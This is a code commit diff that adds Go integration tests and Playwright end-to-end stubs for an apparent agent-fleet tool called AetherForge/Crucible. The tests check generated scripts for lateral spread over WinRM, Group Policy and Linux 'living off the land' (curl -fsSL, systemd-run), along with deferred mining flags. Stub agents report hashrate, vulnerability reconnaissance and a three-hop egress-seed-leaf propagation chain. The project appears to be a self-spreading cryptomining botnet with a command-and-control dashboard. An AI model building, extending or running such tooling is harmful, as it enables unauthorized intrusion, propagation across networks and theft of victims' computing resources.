Close automatable P2 test gaps with mocks and httptest integration.

Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.

server/go.mod

@@ -7,7 +7,7 @@ require (
 	github.com/go-chi/cors v1.2.1
 	github.com/google/uuid v1.6.0
 	github.com/gorilla/websocket v1.5.1
-	github.com/klauspost/reedsolomon v1.12.4
+	github.com/klauspost/reedsolomon v1.14.0
 	github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e
 	golang.org/x/crypto v0.52.0
 	modernc.org/sqlite v1.29.5
@@ -16,7 +16,7 @@ require (
 require (
 	github.com/dustin/go-humanize v1.0.1 // indirect
 	github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
-	github.com/klauspost/cpuid/v2 v2.2.8 // indirect
+	github.com/klauspost/cpuid/v2 v2.3.0 // indirect
 	github.com/mattn/go-isatty v0.0.20 // indirect
 	github.com/ncruces/go-strftime v0.1.9 // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect

server/go.sum

@@ -14,8 +14,12 @@ github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs
 github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
 github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM=
 github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
+github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=
+github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
 github.com/klauspost/reedsolomon v1.12.4 h1:5aDr3ZGoJbgu/8+j45KtUJxzYm8k08JGtB9Wx1VQ4OA=
 github.com/klauspost/reedsolomon v1.12.4/go.mod h1:d3CzOMOt0JXGIFZm1StgkyF14EYr3xneR2rNWo7NcMU=
+github.com/klauspost/reedsolomon v1.14.0 h1:5YSZeclzSYg5nl349+GDG/agDtQ6MZiwUYXvVKN1Jx0=
+github.com/klauspost/reedsolomon v1.14.0/go.mod h1:yjqqjgMTQkBUHSG97/rm4zipffCNbCiZcB3kTqr++sQ=
 github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
 github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
 github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU=

server/internal/api/deploy_plan_integration_test.go

@@ -0,0 +1,125 @@
+package api
+
+import (
+	"encoding/json"
+	"io"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+)
+
+func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} {
+	t.Helper()
+	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.Method != http.MethodPost {
+			http.Error(w, "method", http.StatusMethodNotAllowed)
+			return
+		}
+		h.PostDeployPlan(w, r)
+	}))
+	t.Cleanup(srv.Close)
+
+	resp, err := http.Post(srv.URL, "application/json", strings.NewReader(body))
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer resp.Body.Close()
+	raw, err := io.ReadAll(resp.Body)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if resp.StatusCode != http.StatusOK {
+		t.Fatalf("status=%d body=%s", resp.StatusCode, string(raw))
+	}
+	var out map[string]interface{}
+	if err := json.Unmarshal(raw, &out); err != nil {
+		t.Fatal(err)
+	}
+	return out
+}
+
+func TestPostDeployPlanHTTPWinRM(t *testing.T) {
+	root := t.TempDir()
+	writeDeploySpreadTemplates(t, root)
+	h := testDeployPlanHandlerWithRoot(t, root)
+
+	out := postDeployPlan(t, h, `{
+		"services":[{"name":"WinRM","status":"running"}],
+		"platform":"windows","build_id":"b1","campaign":"winrm-lab"
+	}`)
+	if out["ok"] != true {
+		t.Fatalf("resp=%v", out)
+	}
+	if out["join_lane"] != "winrm" {
+		t.Fatalf("join_lane=%v", out["join_lane"])
+	}
+	plan, ok := out["plan"].(map[string]interface{})
+	if !ok || plan["join_lane"] != "winrm" {
+		t.Fatalf("plan=%v", out["plan"])
+	}
+	script, _ := plan["script"].(string)
+	for _, marker := range []string{"Enable-PSRemoting", "--spread-install", "--defer-mining"} {
+		if !strings.Contains(script, marker) {
+			t.Fatalf("script missing %q: %s", marker, script)
+		}
+	}
+	if sig, _ := out["signature"].(string); sig == "" {
+		t.Fatal("expected signature")
+	}
+}
+
+func TestPostDeployPlanHTTPGPO(t *testing.T) {
+	root := t.TempDir()
+	writeDeploySpreadTemplates(t, root)
+	h := testDeployPlanHandlerWithRoot(t, root)
+
+	out := postDeployPlan(t, h, `{
+		"services":[{"name":"gpsvc","status":"running"}],
+		"platform":"windows","build_id":"b1","campaign":"gpo-wave"
+	}`)
+	if out["ok"] != true || out["join_lane"] != "gpo" {
+		t.Fatalf("resp=%v", out)
+	}
+	plan := out["plan"].(map[string]interface{})
+	script, _ := plan["script"].(string)
+	if !strings.Contains(script, "AETHER_DEFER_MINING") || !strings.Contains(script, "/install.ps1") {
+		t.Fatalf("script=%q", script)
+	}
+}
+
+func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) {
+	root := t.TempDir()
+	writeDeploySpreadTemplates(t, root)
+	h := testDeployPlanHandlerWithRoot(t, root)
+
+	out := postDeployPlan(t, h, `{
+		"services":[{"name":"sshd","status":"active"}],
+		"platform":"linux","build_id":"b1","campaign":"lotl-lab"
+	}`)
+	if out["ok"] != true || out["join_lane"] != "linux_lotl" {
+		t.Fatalf("resp=%v", out)
+	}
+	plan := out["plan"].(map[string]interface{})
+	script, _ := plan["script"].(string)
+	for _, marker := range []string{"systemd-run --user", "curl -fsSL"} {
+		if !strings.Contains(script, marker) {
+			t.Fatalf("script missing %q: %s", marker, script)
+		}
+	}
+}
+
+func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) {
+	h := testDeployPlanHandler(t)
+	srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan))
+	t.Cleanup(srv.Close)
+
+	resp, err := http.Post(srv.URL, "application/json", strings.NewReader(`{"platform":"windows"}`))
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusBadRequest {
+		t.Fatalf("status=%d", resp.StatusCode)
+	}
+}

server/web/e2e/discover-spread-stub.ts

@@ -1,13 +1,48 @@
 /**
- * Stub agent for discover→spread E2E — acknowledges discover_and_join and reports join_lane.
+ * Stub agents for discover→spread E2E — multi-hop chain acknowledges discover_and_join
+ * and propagates join_lane stats across egress → seed → leaf hops.
  */
 import type { APIRequestContext } from '@playwright/test';
 import { fetchFleetSecret, waitForServerHealth } from './fixtures';
 
-export const E2E_DISCOVER_AGENT_ID = 'e2e-discover-spread-agent';
-export const E2E_DISCOVER_AGENT_HOSTNAME = 'E2E-Discover-Host';
-export const E2E_DISCOVER_JOIN_LANE = 'dns_txt';
-export const E2E_DISCOVER_JOIN_LABEL = 'DNS TXT';
+export type DiscoverSpreadHop = {
+  id: string;
+  hostname: string;
+  joinLane: string;
+  joinLabel: string;
+  hopIndex: number;
+};
+
+/** Three-hop discover→spread chain: egress discovers, seed WinRM, leaf GPO. */
+export const E2E_DISCOVER_CHAIN_HOPS: readonly DiscoverSpreadHop[] = [
+  {
+    id: 'e2e-discover-hop0',
+    hostname: 'E2E-Hop0-Egress',
+    joinLane: 'dns_txt',
+    joinLabel: 'DNS TXT',
+    hopIndex: 0,
+  },
+  {
+    id: 'e2e-discover-hop1',
+    hostname: 'E2E-Hop1-Seed',
+    joinLane: 'winrm',
+    joinLabel: 'WinRM',
+    hopIndex: 1,
+  },
+  {
+    id: 'e2e-discover-hop2',
+    hostname: 'E2E-Hop2-Leaf',
+    joinLane: 'gpo',
+    joinLabel: 'GPO',
+    hopIndex: 2,
+  },
+] as const;
+
+/** Back-compat aliases for single-hop tests. */
+export const E2E_DISCOVER_AGENT_ID = E2E_DISCOVER_CHAIN_HOPS[0].id;
+export const E2E_DISCOVER_AGENT_HOSTNAME = E2E_DISCOVER_CHAIN_HOPS[0].hostname;
+export const E2E_DISCOVER_JOIN_LANE = E2E_DISCOVER_CHAIN_HOPS[0].joinLane;
+export const E2E_DISCOVER_JOIN_LABEL = E2E_DISCOVER_CHAIN_HOPS[0].joinLabel;
 
 const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
 const STATS_INTERVAL_MS = 1_000;
@@ -33,32 +68,61 @@ function send(ws: WebSocket, type: string, payload: Record<string, unknown>): vo
   ws.send(JSON.stringify({ type, payload }));
 }
 
-function sendStubStats(ws: WebSocket, joinLane?: string): void {
+function sendStubStats(ws: WebSocket, hop: DiscoverSpreadHop, joinLane?: string): void {
   send(ws, 'stats', {
-    hashrate_15s: 42,
-    hashrate_1m: 42,
-    hashrate_15m: 42,
+    hashrate_15s: 42 + hop.hopIndex,
+    hashrate_1m: 42 + hop.hopIndex,
+    hashrate_15m: 42 + hop.hopIndex,
     shares_submitted: 0,
     shares_accepted: 0,
     cpu_usage_pct: 5,
     memory_usage_pct: 40,
-    uptime_seconds: 120,
+    uptime_seconds: 120 + hop.hopIndex * 30,
     active_method: 'inprocess',
-    mining_hashrate: 42,
+    mining_hashrate: 42 + hop.hopIndex,
     lotl_tier: 'inprocess',
     lotl_attempts: [
       { tier: 'vuln_recon', ok: true, duration_ms: 200, phase: 'recon' },
-      { tier: 'dns_txt', ok: true, duration_ms: 450, phase: 'deploy' },
+      { tier: hop.joinLane, ok: true, duration_ms: 450 + hop.hopIndex * 100, phase: 'deploy' },
     ],
+    spread_route_hint: {
+      egress_hop_index: hop.hopIndex,
+      join_lane: joinLane ?? hop.joinLane,
+      target_subnet: '10.99.0',
+    },
     ...(joinLane ? { join_lane: joinLane } : {}),
   });
 }
 
-async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): Promise<() => void> {
+type HopConnection = {
+  hop: DiscoverSpreadHop;
+  ws: WebSocket;
+  statsTimer: ReturnType<typeof setInterval>;
+};
+
+const hopConnections = new Map<string, HopConnection>();
+
+function propagateChainJoinLanes(fromHopIndex: number): void {
+  for (const conn of hopConnections.values()) {
+    if (conn.hop.hopIndex <= fromHopIndex) continue;
+    const delayMs = (conn.hop.hopIndex - fromHopIndex) * 600;
+    setTimeout(() => {
+      if (conn.ws.readyState === WebSocket.OPEN) {
+        sendStubStats(conn.ws, conn.hop, conn.hop.joinLane);
+      }
+    }, delayMs);
+  }
+}
+
+async function connectDiscoverSpreadHop(
+  baseUrl: string,
+  fleetSecret: string,
+  hop: DiscoverSpreadHop,
+): Promise<() => void> {
   const ws = new WebSocket(wsAgentUrl(baseUrl));
 
   await new Promise<void>((resolve, reject) => {
-    const timer = setTimeout(() => reject(new Error('discover stub ws open timeout')), 10_000);
+    const timer = setTimeout(() => reject(new Error(`discover stub ws open timeout (${hop.id})`)), 10_000);
     ws.addEventListener(
       'open',
       () => {
@@ -71,16 +135,16 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
       'error',
       () => {
         clearTimeout(timer);
-        reject(new Error('discover stub ws connection failed'));
+        reject(new Error(`discover stub ws connection failed (${hop.id})`));
       },
       { once: true },
     );
   });
 
   send(ws, 'auth', {
-    agent_id: E2E_DISCOVER_AGENT_ID,
+    agent_id: hop.id,
     fleet_secret: fleetSecret,
-    hostname: E2E_DISCOVER_AGENT_HOSTNAME,
+    hostname: hop.hostname,
     version: '1.0.0-e2e',
     platform: 'windows',
     arch: 'amd64',
@@ -89,7 +153,7 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
   });
 
   await new Promise<void>((resolve, reject) => {
-    const timer = setTimeout(() => reject(new Error('discover stub auth timeout')), 30_000);
+    const timer = setTimeout(() => reject(new Error(`discover stub auth timeout (${hop.id})`)), 30_000);
     const onMessage = (ev: MessageEvent) => {
       let msg: HubMessage;
       try {
@@ -102,7 +166,7 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
       ws.removeEventListener('message', onMessage);
       const body = parsePayload(msg.payload);
       if (body.success !== true) {
-        reject(new Error(`discover stub auth rejected: ${JSON.stringify(body)}`));
+        reject(new Error(`discover stub auth rejected (${hop.id}): ${JSON.stringify(body)}`));
         return;
       }
       resolve();
@@ -110,8 +174,9 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
     ws.addEventListener('message', onMessage);
   });
 
-  sendStubStats(ws);
-  const statsTimer = setInterval(() => sendStubStats(ws), STATS_INTERVAL_MS);
+  sendStubStats(ws, hop);
+  const statsTimer = setInterval(() => sendStubStats(ws, hop, hop.joinLane), STATS_INTERVAL_MS);
+  hopConnections.set(hop.id, { hop, ws, statsTimer });
 
   ws.addEventListener('message', (ev) => {
     let msg: HubMessage;
@@ -126,38 +191,53 @@ async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string):
     const command = String(payload.command ?? '').trim().toLowerCase();
 
     if (action === 'discover_and_join' || command === 'discover_and_join') {
+      if (hop.hopIndex === 0) {
+        const chain = E2E_DISCOVER_CHAIN_HOPS.map((h) => h.hostname).join(' → ');
+        send(ws, 'command_result', {
+          action: 'discover_and_join',
+          success: true,
+          message: `discover_and_join ok — multi-hop chain ${chain}`,
+        });
+        sendStubStats(ws, hop, hop.joinLane);
+        propagateChainJoinLanes(hop.hopIndex);
+        return;
+      }
       send(ws, 'command_result', {
         action: 'discover_and_join',
         success: true,
-        message: `discover_and_join ok — join_lane=${E2E_DISCOVER_JOIN_LANE}`,
+        message: `discover_and_join ok — join_lane=${hop.joinLane}`,
       });
-      sendStubStats(ws, E2E_DISCOVER_JOIN_LANE);
+      sendStubStats(ws, hop, hop.joinLane);
       return;
     }
 
-    send(ws, 'command_result', { action, success: true, message: 'e2e-discover-stub-ok' });
+    send(ws, 'command_result', { action, success: true, message: `e2e-discover-stub-ok (${hop.id})` });
   });
 
   return () => {
+    hopConnections.delete(hop.id);
     clearInterval(statsTimer);
     ws.close();
   };
 }
 
 let serverReady = false;
-let disconnectStub: (() => void) | null = null;
+const disconnectStubs: Array<() => void> = [];
 let connectPromise: Promise<boolean> | null = null;
 
 export async function ensureDiscoverSpreadStub(request: APIRequestContext): Promise<boolean> {
-  if (disconnectStub) return serverReady;
+  if (disconnectStubs.length > 0) return serverReady;
   if (!connectPromise) {
     connectPromise = (async () => {
       serverReady = await waitForServerHealth(request);
       if (!serverReady) return false;
 
       const fleetSecret = await fetchFleetSecret(request);
-      disconnectStub = await connectDiscoverSpreadStub(baseURL, fleetSecret);
-      await new Promise((r) => setTimeout(r, 2_500));
+      for (const hop of E2E_DISCOVER_CHAIN_HOPS) {
+        const disconnect = await connectDiscoverSpreadHop(baseURL, fleetSecret, hop);
+        disconnectStubs.push(disconnect);
+      }
+      await new Promise((r) => setTimeout(r, 3_000));
       return true;
     })();
   }
@@ -169,8 +249,10 @@ export function isDiscoverSpreadStubReady(): boolean {
 }
 
 export function teardownDiscoverSpreadStub(): void {
-  disconnectStub?.();
-  disconnectStub = null;
+  while (disconnectStubs.length > 0) {
+    disconnectStubs.pop()?.();
+  }
+  hopConnections.clear();
   connectPromise = null;
   serverReady = false;
 }

server/web/e2e/discover-spread.spec.ts

@@ -5,6 +5,7 @@ import {
   ensureDiscoverSpreadStub,
   E2E_DISCOVER_AGENT_HOSTNAME,
   E2E_DISCOVER_AGENT_ID,
+  E2E_DISCOVER_CHAIN_HOPS,
   E2E_DISCOVER_JOIN_LABEL,
   isDiscoverSpreadStubReady,
 } from './discover-spread-stub';
@@ -93,5 +94,41 @@ test.describe('Crucible discover and spread E2E', () => {
         timeout: 15_000,
       });
     });
+
+    test('multi-hop chain propagates join lanes across egress seed and leaf', async ({ page }) => {
+      const [egress, seed, leaf] = E2E_DISCOVER_CHAIN_HOPS;
+      await openCrucibleSpreadTab(page, egress.hostname);
+
+      const commandRequest = page.waitForRequest(
+        (req) =>
+          req.method() === 'POST' &&
+          req.url().includes(`/api/v1/agents/${egress.id}/command`) &&
+          req.postDataJSON()?.action === 'discover_and_join',
+      );
+
+      await page.getByRole('button', { name: 'Probe & Join' }).click();
+      await commandRequest;
+
+      await expect(page.locator('.crucible-terminal')).toContainText('multi-hop chain', {
+        timeout: 10_000,
+      });
+      await expect(page.locator('.access-depth-panel')).toContainText(egress.joinLabel, {
+        timeout: 15_000,
+      });
+
+      for (const hop of [seed, leaf]) {
+        const card = page.locator('.crucible-node-card').filter({ hasText: hop.hostname });
+        await expect(card).toBeVisible({ timeout: 15_000 });
+        await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
+        await card.click();
+        await expect(
+          page.locator('.crucible-actions-card').getByText(new RegExp(`→ ${hop.hostname}`)),
+        ).toBeVisible({ timeout: 10_000 });
+        await page.getByRole('button', { name: 'LATERAL / SPREAD' }).click();
+        await expect(page.locator('.access-depth-panel')).toContainText(hop.joinLabel, {
+          timeout: 20_000,
+        });
+      }
+    });
   });
 });